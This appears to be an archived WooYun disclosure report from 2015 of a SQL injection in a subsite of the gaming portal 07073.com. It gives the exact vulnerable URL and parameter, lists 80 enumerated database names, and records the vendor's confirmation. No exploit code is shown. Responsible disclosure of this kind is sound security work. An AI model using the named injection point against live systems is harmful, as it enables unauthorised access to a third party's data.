当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0160695

漏洞标题：07073某分站SQL注入

相关厂商：07073.com

漏洞作者： niliu

提交时间：2015-12-12 22:59

修复时间：2016-01-25 18:01

公开时间：2016-01-25 18:01

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-12： 细节已通知厂商并且等待厂商处理中
2015-12-14： 厂商已经确认，细节仅向厂商公开
2015-12-24： 细节向核心白帽子及相关领域专家公开
2016-01-03： 细节向普通白帽子公开
2016-01-13： 细节向实习白帽子公开
2016-01-25： 细节向公众公开

简要描述：

07073某分站SQL注入

详细说明：

注入点：

http://act.07073.com/index/index?act=txhc_20151210&mod=screenshot&fun=getMyImageStatus


act参数注入
80个数据库。基本上所有的库了包括主站，bbs等

available databases [80]:
[*] 073_activity
[*] 123_07073
[*] act07073
[*] adv07073
[*] advertising
[*] android07073
[*] askdata
[*] atlas07073
[*] baidu_xml_dev
[*] baobei
[*] bar07073
[*] bbs073
[*] box07073
[*] cache07073
[*] coderead
[*] comment
[*] datacenter
[*] db07073
[*] db07073_tx2
[*] db07073qn
[*] dbcache
[*] downloads
[*] duandi
[*] fabu07073
[*] fahao073
[*] fahao10
[*] giftcode
[*] h507073
[*] hdtemplates
[*] hi07073
[*] huodong
[*] information_schema
[*] jft073
[*] kaifuopen_hzhks
[*] kaifuopen_zjgtqxx
[*] kc07073
[*] kf07073
[*] kf07073b
[*] kf207073
[*] kf521
[*] kf77745
[*] kfshenji
[*] kfshenjibak
[*] list07073
[*] mask_bufan
[*] mesearch
[*] mobilenews
[*] molihai073
[*] monitor
[*] mysql
[*] nycc
[*] other_website
[*] paihang07073
[*] performance_schema
[*] shop073
[*] sy07073
[*] sy07073_api
[*] sy07073_fahao
[*] tieba
[*] tieba_v1_backup
[*] tongji
[*] top2011
[*] tweibo
[*] ui073
[*] wap07073
[*] webbox
[*] weixin073
[*] wenwen073
[*] wow07073
[*] www07073
[*] www07073bak
[*] wx_huodong
[*] xuan-astd
[*] xweibo
[*] youxi
[*] yxdata
[*] yxq07073
[*] zhuanchu
[*] zhuanchu2
[*] zt07073

漏洞证明：

QQ20151212-1@2x.png

修复方案：

过滤&20rank~。~

版权声明：转载请注明来源 niliu@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-12-14 09:06

厂商回复：

正在修复，感谢对游戏网的帮助~

最新状态：

暂无

漏洞评价：

评价

  1. 2015-12-15 10:11 | PyNerd ( 普通白帽子 | Rank:175 漏洞数:33 | Just for shell.)

    大表哥牛逼！